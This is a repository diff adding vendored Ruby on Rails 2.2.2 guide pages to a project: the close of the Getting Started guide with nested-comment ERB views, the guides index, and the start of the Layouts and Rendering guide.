+    <span style="color: #FF0000">&lt;%= f.submit "Create" %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>show.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Comment on <span style="color: #FF0000">&lt;%= @post.title %&gt;&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @comment.commenter %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @comment.body %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>The <tt>edit.html.erb</tt> view:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;h1&gt;</span>Editing comment<span style="color: #FF0000">&lt;/h1&gt;</span>
+
+<span style="color: #FF0000">&lt;% form_for([@post, @comment]) do |f| %&gt;</span>
+  <span style="color: #FF0000">&lt;%= f.error_messages %&gt;</span>
+
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :commenter %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_field :commenter %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.label :body %&gt;&lt;br /&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.text_area :body %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+  <span style="color: #FF0000">&lt;p&gt;</span>
+    <span style="color: #FF0000">&lt;%= f.submit "Update" %&gt;</span>
+  <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Show', post_comment_path(@post, @comment) %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', post_comments_path(@post) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Again, the added complexity here (compared to the views you saw for managing comments) comes from the necessity of juggling a post and its comments at the same time.</p></div>
+<h3 id="_hooking_comments_to_posts">8.6. Hooking Comments to Posts</h3>
+<div class="para"><p>As a final step, I'll modify the <tt>show.html.erb</tt> view for a post to show the comments on that post, and to allow managing those comments:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Name<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.name %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Title<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.title %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;p&gt;</span>
+  <span style="color: #FF0000">&lt;b&gt;</span>Content<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+  <span style="color: #FF0000">&lt;%=h @post.content %&gt;</span>
+<span style="color: #FF0000">&lt;/p&gt;</span>
+
+<span style="color: #FF0000">&lt;h2&gt;</span>Comments<span style="color: #FF0000">&lt;/h2&gt;</span>
+<span style="color: #FF0000">&lt;% @post.comments.each do |c| %&gt;</span>
+        <span style="color: #FF0000">&lt;p&gt;</span>
+          <span style="color: #FF0000">&lt;b&gt;</span>Commenter<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+          <span style="color: #FF0000">&lt;%=h c.commenter %&gt;</span>
+        <span style="color: #FF0000">&lt;/p&gt;</span>
+
+        <span style="color: #FF0000">&lt;p&gt;</span>
+          <span style="color: #FF0000">&lt;b&gt;</span>Comment<span style="color: #990000">:</span><span style="color: #FF0000">&lt;/b&gt;</span>
+          <span style="color: #FF0000">&lt;%=h c.body %&gt;</span>
+        <span style="color: #FF0000">&lt;/p&gt;</span>
+<span style="color: #FF0000">&lt;% end %&gt;</span>
+
+<span style="color: #FF0000">&lt;%= link_to 'Edit', edit_post_path(@post) %&gt;</span> <span style="color: #990000">|</span>
+<span style="color: #FF0000">&lt;%= link_to 'Back', posts_path %&gt;</span>
+<span style="color: #FF0000">&lt;%= link_to 'Manage Comments', post_comments_path(@post) %&gt;</span>
+</tt></pre></div></div>
+<div class="para"><p>Note that each post has its own individual comments collection, accessible as <tt>@post.comments</tt>. That's a consequence of the declarative associations in the models. Path helpers such as <tt>post_comments_path</tt> come from the nested route declaration in <tt>config/routes.rb</tt>.</p></div>
+</div>
+<h2 id="_what_s_next">9. What's Next?</h2>
+<div class="sectionbody">
+<div class="para"><p>Now that you've seen your first Rails application, you should feel free to update it and experiment on your own. But you don't have to do everything without help. As you need assistance getting up and running with Rails, feel free to consult these support resources:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+The <a href="http://manuals.rubyonrails.org/">Ruby On Rails guides</a>
+</p>
+</li>
+<li>
+<p>
+The <a href="http://groups.google.com/group/rubyonrails-talk">Ruby on Rails mailing list</a>
+</p>
+</li>
+<li>
+<p>
+The #rubyonrails channel on irc.freenode.net
+</p>
+</li>
+<li>
+<p>
+The <a href="http://wiki.rubyonrails.org/rails">Rails wiki</a>
+</p>
+</li>
+</ul></div>
+<div class="para"><p>Rails also comes with built-in help that you can generate using the rake command-line utility:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Running <tt>rake doc:guides</tt> will put a full copy of the Rails Guides in the <tt>/doc/guides</tt> folder of your application. Open <tt>/doc/guides/index.html</tt> in your web browser to explore the Guides.
+</p>
+</li>
+<li>
+<p>
+Running <tt>rake doc:rails</tt> will put a full copy of the API documentation for Rails in the <tt>/doc/api</tt> folder of your application. Open <tt>/doc/api/index.html</tt> in your web browser to explore the API documentation.
+</p>
+</li>
+</ul></div>
+</div>
+<h2 id="_changelog">10. Changelog</h2>
+<div class="sectionbody">
+<div class="para"><p><a href="http://rails.lighthouseapp.com/projects/16213-rails-guides/tickets/2">Lighthouse ticket</a></p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+November 3, 2008: Formatting patch from Dave Rothlisberger
+</p>
+</li>
+<li>
+<p>
+November 1, 2008: First approved version by <a href="../authors.html#mgunderloy">Mike Gunderloy</a>
+</p>
+</li>
+<li>
+<p>
+October 16, 2008: Revised based on feedback from Pratik Naik by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 13, 2008: First complete draft by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+October 12, 2008: More detail, rearrangement, editing by <a href="../authors.html#mgunderloy">Mike Gunderloy</a> (not yet approved for publication)
+</p>
+</li>
+<li>
+<p>
+September 8, 2008: initial version by James Miller (not yet approved for publication)
+</p>
+</li>
+</ul></div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/index.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/index.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/index.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,349 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Ruby on Rails guides</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header"  class="notoc">
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container" class="notoc">
+		
+		<div id="content">
+				<h1>Ruby on Rails guides</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/warning.png" alt="Warning" />
+</td>
+<td class="content">This page is the result of ongoing <a href="http://hackfest.rubyonrails.org/guide">Rails Guides hackfest</a> and a work in progress.</td>
+</tr></table>
+</div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections at the respective Lighthouse ticket.</td>
+</tr></table>
+</div>
+<h2>Start Here</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="getting_started_with_rails.html">Getting Started with Rails</a></div>
+<div class="para"><p>Everything you need to know to install Rails and create your first application.</p></div>
+</div></div>
+<h2>Models</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="migrations.html">Rails Database Migrations</a></div>
+<div class="para"><p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="association_basics.html">Active Record Associations</a></div>
+<div class="para"><p>This guide covers all the associations provided by Active Record.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="finders.html">Active Record Finders</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/16">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers the find method defined in ActiveRecord::Base, as well as named scopes.</p></div>
+</div></div>
+<h2>Views</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></div>
+<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View,
+including rendering and redirecting, using <tt>content_for</tt> blocks, and working
+with partials.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="form_helpers.html">Action View Form Helpers</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/1">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>Guide to using built in Form helpers.</p></div>
+</div></div>
+<h2>Controllers</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="routing_outside_in.html">Rails Routing from the Outside In</a></div>
+<div class="para"><p>This guide covers the user-facing features of Rails routing. If you want to
+understand how to use routing in your own Rails applications, start here.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="actioncontroller_basics.html">Basics of Action Controller</a></div>
+<div class="para"><p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="caching_with_rails.html">Rails Caching</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/10">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers the three types of caching that Rails provides by default.</p></div>
+</div></div>
+<h2>Digging Deeper</h2>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="testing_rails_applications.html">Testing Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/8">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This is a rather comprehensive guide to doing both unit and functional tests
+in Rails. It covers everything from &#8220;What is a test?&#8221; to the testing APIs.
+Enjoy.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="security.html">Securing Rails Applications</a></div>
+<div class="para"><p>This guide describes common security problems in web applications and how to
+avoid them with Rails.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="debugging_rails_applications.html">Debugging Rails Applications</a></div>
+<div class="para"><p>This guide describes how to debug Rails applications. It covers the different
+ways of achieving this and how to understand what is happening "behind the scenes"
+of your code.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="benchmarking_and_profiling.html">Benchmarking and Profiling Rails Applications</a></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/caution.png" alt="Caution" />
+</td>
+<td class="content"><a href="http://rails.lighthouseapp.com/projects/16213/tickets/4">Lighthouse Ticket</a></td>
+</tr></table>
+</div>
+<div class="para"><p>This guide covers ways to analyze and optimize your running Rails code.</p></div>
+</div></div>
+<div class="sidebarblock">
+<div class="sidebar-content">
+<div class="sidebar-title"><a href="creating_plugins.html">The Basics of Creating Rails Plugins</a></div>
+<div class="para"><p>This guide covers how to build a plugin to extend the functionality of Rails.</p></div>
+</div></div>
+<div class="para"><p>Authors who have contributed to complete guides are listed <a href="authors.html">here</a>.</p></div>
+<div class="para"><p>This work is licensed under a <a href="http://creativecommons.org/licenses/by-nc-sa/3.0/">Creative Commons Attribution-Noncommercial-Share Alike 3.0  License</a></p></div>
+</div>
+</div>
+
+		</div>
+	</div>
+</body>
+</html>

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/layouts_and_rendering.html
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/layouts_and_rendering.html	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rails-2.2.2/doc/guides/html/layouts_and_rendering.html	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,1406 @@
+<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
+<html xmlns="http://www.w3.org/1999/xhtml" lang="en" xml:lang="en">
+<head>
+	<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
+	<title>Layouts and Rendering in Rails</title>
+	<!--[if lt IE 8]>
+	<script src="http://ie7-js.googlecode.com/svn/version/2.0(beta3)/IE8.js" type="text/javascript"></script>
+	<![endif]-->
+	<link href="stylesheets/base.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/forms.css" media="screen" rel="Stylesheet" type="text/css" />
+	<link href="stylesheets/more.css" media="screen" rel="Stylesheet" type="text/css" />
+	<style type="text/css">
+		div#container {
+	max-width: 900px;
+	padding-bottom: 3em;
+}
+
+div#content {
+	margin-left: 200px;
+}
+
+div#container.notoc {
+	max-width: 600px;
+}
+
+.notoc div#content {
+	margin-left: 0;
+}
+
+pre {
+	line-height: 1.4em;
+}
+
+#content p tt {
+	background: #eeeeee;
+	border: solid 1px #cccccc;
+	padding: 3px;
+}
+
+dt {
+	font-weight: bold;
+}
+
+#content dt tt {
+	font-size: 10pt;
+}
+
+dd {
+	margin-left: 3em;
+}
+
+#content dt tt, #content pre tt {
+	background: none;
+	padding: 0;
+	border: 0;
+}
+
+#content .olist ol {
+	margin-left: 2em;
+}
+
+#header {
+	position: relative;
+	max-width: 840px;
+	margin-left: auto;
+	margin-right: auto;
+}
+
+#header.notoc {
+	max-width: 580px;
+}
+
+#logo {
+	position: absolute;
+	left: 10px;
+	top: 10px;
+	width: 110px;
+	height: 140px;
+}
+
+div#header h1#site_title {
+	background: url('images/ruby_on_rails_by_mike_rundle2.gif') top left no-repeat;
+	position: absolute;
+	width: 392px;
+	height: 55px;
+	left: 145px;
+	top: 20px;
+	margin: 0;
+	padding: 0;
+}
+
+#site_title span {
+	display: none;
+}
+
+#site_title_tagline {
+	display: none;
+}
+
+ul#navMain {
+	position: absolute;
+	margin: 0;
+	padding: 0;
+	top: 97px;
+	left: 145px;
+}
+
+.left-floaty, .right-floaty {
+	padding: 15px;
+}
+
+.admonitionblock,
+.tableblock {
+	margin-left: 1em;
+	margin-right: 1em;
+	margin-top: 0.25em;
+	margin-bottom: 1em;
+}
+
+.admonitionblock .icon {
+	padding-right: 8px;
+}
+
+.admonitionblock .content {
+	border: solid 1px #ffda78;
+	background: #fffebd;
+	padding: 10px;
+	padding-top: 8px;
+	padding-bottom: 8px;
+}
+
+.admonitionblock .title {
+	font-size: 140%;
+	margin-bottom: 0.5em;
+}
+
+.tableblock table {
+	border: solid 1px #aaaaff;
+	background: #f0f0ff;
+}
+
+.tableblock th {
+	background: #e0e0e0;
+}
+
+.tableblock th,
+.tableblock td {
+	padding: 3px;
+	padding-left: 5px;
+	padding-right: 5px;
+}
+
+.sidebarblock {
+	margin-top: 0.25em;
+	margin: 1em;
+	border: solid 1px #ccccbb;
+	padding: 8px;
+	background: #ffffe0;
+}
+
+.sidebarblock .sidebar-title {
+	font-size: 140%;
+	font-weight: 600;
+	margin-bottom: 0.3em;
+}
+
+.sidebarblock .sidebar-content > .para:last-child > p {
+	margin-bottom: 0;
+}
+
+.sidebarblock .sidebar-title a {
+	text-decoration: none;
+}
+
+.sidebarblock .sidebar-title a:hover {
+	text-decoration: underline;
+}
+
+	</style>
+</head>
+<body>
+	<div id="header" >
+		<div id="logo">
+			<a href="index.html" title="Ruby on Rails"><img src="images/rails_logo_remix.gif" alt="Rails" height="140" width="110" /></a>
+		</div>
+		
+		<h1 id="site_title"><span>Ruby on Rails</span></h1>
+		<h2 id="site_title_tagline">Sustainable productivity for web-application development</h2>
+
+		<ul id="navMain">
+			<li class="first-child"><a href="http://www.rubyonrails.org/" title="Ruby on Rails" class="ruby_on_rails">Ruby on Rails</a></li>
+			<li><a class="manuals" href="index.html" title="Manuals Index">Guides Index</a></li>
+		</ul>
+	</div>
+
+	<div id="container">
+		
+		<div id="sidebar">
+			<h2>Chapters</h2>
+			<ol>
+					<li>
+					<a href="#_overview_how_the_pieces_fit_together">Overview: How the Pieces Fit Together</a>
+					</li>
+					<li>
+					<a href="#_creating_responses">Creating Responses</a>
+						<ul>
+						
+							<li><a href="#_rendering_by_default_convention_over_configuration_in_action">Rendering by Default: Convention Over Configuration in Action</a></li>
+						
+							<li><a href="#_using_tt_render_tt">Using <tt>render</tt></a></li>
+						
+							<li><a href="#_using_tt_redirect_to_tt">Using <tt>redirect_to</tt></a></li>
+						
+							<li><a href="#_using_tt_head_tt_to_build_header_only_responses">Using <tt>head</tt> To Build Header-Only Responses</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_structuring_layouts">Structuring Layouts</a>
+						<ul>
+						
+							<li><a href="#_asset_tags">Asset Tags</a></li>
+						
+							<li><a href="#_understanding_tt_yield_tt">Understanding <tt>yield</tt></a></li>
+						
+							<li><a href="#_using_tt_content_for_tt">Using <tt>content_for</tt></a></li>
+						
+							<li><a href="#_using_partials">Using Partials</a></li>
+						
+						</ul>
+					</li>
+					<li>
+					<a href="#_changelog">Changelog</a>
+					</li>
+			</ol>
+		</div>
+		
+		<div id="content">
+				<h1>Layouts and Rendering in Rails</h1>
+			<div id="preamble">
+<div class="sectionbody">
+<div class="para"><p>This guide covers the basic layout features of Action Controller and Action View. By referring to this guide, you will be able to:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Use the various rendering methods built in to Rails
+</p>
+</li>
+<li>
+<p>
+Create layouts with multiple content sections
+</p>
+</li>
+<li>
+<p>
+Use partials to DRY up your views
+</p>
+</li>
+</ul></div>
+</div>
+</div>
+<h2 id="_overview_how_the_pieces_fit_together">1. Overview: How the Pieces Fit Together</h2>
+<div class="sectionbody">
+<div class="para"><p>This guide focuses on the interaction between Controller and View in the Model-View-Controller triangle. As you know, the Controller is responsible for orchestrating the whole process of handling a request in Rails, though it normally hands off any heavy code to the Model. But then, when it's time to send a response back to the user, the Controller hands things off to the View. It's that handoff that is the subject of this guide.</p></div>
+<div class="para"><p>In broad strokes, this involves deciding what should be sent as the response and calling an appropriate method to create that response. If the response is a full-blown view, Rails also does some extra work to wrap the view in a layout and possibly to pull in partial views. You'll see all of those paths later in this guide.</p></div>
+</div>
+<h2 id="_creating_responses">2. Creating Responses</h2>
+<div class="sectionbody">
+<div class="para"><p>From the controller's point of view, there are three ways to create an HTTP response:</p></div>
+<div class="ilist"><ul>
+<li>
+<p>
+Call <tt>render</tt> to create a full response to send back to the browser
+</p>
+</li>
+<li>
+<p>
+Call <tt>redirect_to</tt> to send an HTTP redirect status code to the browser
+</p>
+</li>
+<li>
+<p>
+Call <tt>head</tt> to create a response consisting solely of HTTP headers to send back to the browser
+</p>
+</li>
+</ul></div>
+<div class="para"><p>I'll cover each of these methods in turn. But first, a few words about the very easiest thing that the controller can do to create a response: nothing at all.</p></div>
+<h3 id="_rendering_by_default_convention_over_configuration_in_action">2.1. Rendering by Default: Convention Over Configuration in Action</h3>
+<div class="para"><p>You've heard that Rails promotes "convention over configuration." Default rendering is an excellent example of this. By default, controllers in Rails automatically render views with names that correspond to actions. For example, if you have this code in your <tt>BooksController</tt> class:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt><span style="font-weight: bold"><span style="color: #0000FF">def</span></span> show
+  <span style="color: #009900">@book</span> <span style="color: #990000">=</span> Book<span style="color: #990000">.</span>find<span style="color: #990000">(</span>params<span style="color: #990000">[:</span>id<span style="color: #990000">])</span>
+<span style="font-weight: bold"><span style="color: #0000FF">end</span></span>
+</tt></pre></div></div>
+<div class="para"><p>Rails will automatically render <tt>app/views/books/show.html.erb</tt> after running the method. In fact, if you have the default catch-all route in place (<tt>map.connect <em>:controller/:action/:id</em></tt>), Rails will even render views that don't have any code at all in the controller. For example, if you have the default route in place and a request comes in for <tt>/books/sale_list</tt>, Rails will render <tt>app/views/books/sale_list.html.erb</tt> in response.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/note.png" alt="Note" />
+</td>
+<td class="content">The actual rendering is done by subclasses of <tt>ActionView::TemplateHandlers</tt>. This guide does not dig into that process, but it's important to know that the file extension on your view controls the choice of template handler. In Rails 2, the standard extensions are <tt>.erb</tt> for ERB (HTML with embedded Ruby), <tt>.rjs</tt> for RJS (javascript with embedded ruby) and <tt>.builder</tt> for Builder (XML generator). You'll also find <tt>.rhtml</tt> used for ERB templates and .rxml for Builder templates, but those extensions are now formally deprecated and will be removed from a future version of Rails.</td>
+</tr></table>
+</div>
+<h3 id="_using_tt_render_tt">2.2. Using <tt>render</tt></h3>
+<div class="para"><p>In most cases, the <tt>ActionController::Base#render</tt> method does the heavy lifting of rendering your application's content for use by a browser. There are a variety of ways to customize the behavior of <tt>render</tt>. You can render the default view for a Rails template, or a specific template, or a file, or inline code, or nothing at all. You can render text, JSON, or XML. You can specify the content type or HTTP status of the rendered response as well.</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">If you want to see the exact results of a call to <tt>render</tt> without needing to inspect it in a browser, you can call <tt>render_to_string</tt>. This method takes exactly the same options as <tt>render</tt>, but it returns a string instead of sending a response back to the browser.</td>
+</tr></table>
+</div>
+<h4 id="_rendering_nothing">2.2.1. Rendering Nothing</h4>
+<div class="para"><p>Perhaps the simplest thing you can do with <tt>render</tt> is to render nothing at all:</p></div>
+<div class="listingblock">
+<div class="content"><!-- Generator: GNU source-highlight 2.9
+by Lorenzo Bettini
+http://www.lorenzobettini.it
+http://www.gnu.org/software/src-highlite -->
+<pre><tt>render <span style="color: #990000">:</span>nothing <span style="color: #990000">=&gt;</span> <span style="font-weight: bold"><span style="color: #0000FF">true</span></span>
+</tt></pre></div></div>
+<div class="para"><p>This will send an empty response to the browser (though it will include any status headers you set with the :status option, discussed below).</p></div>
+<div class="admonitionblock">
+<table><tr>
+<td class="icon">
+<img src="./images/icons/tip.png" alt="Tip" />
+</td>
+<td class="content">You should probably be using the <tt>head</tt> method, discussed later in this guide, instead of <tt>render :nothing</tt>. This provides additional flexibility and makes it explicit that you're only generating HTTP headers.</td>
+</tr></table>
+</div>
+<h4 id="_using_tt_render_tt_with_tt_action_tt">2.2.2. Using <tt>render</tt> with <tt>:action</tt></h4>
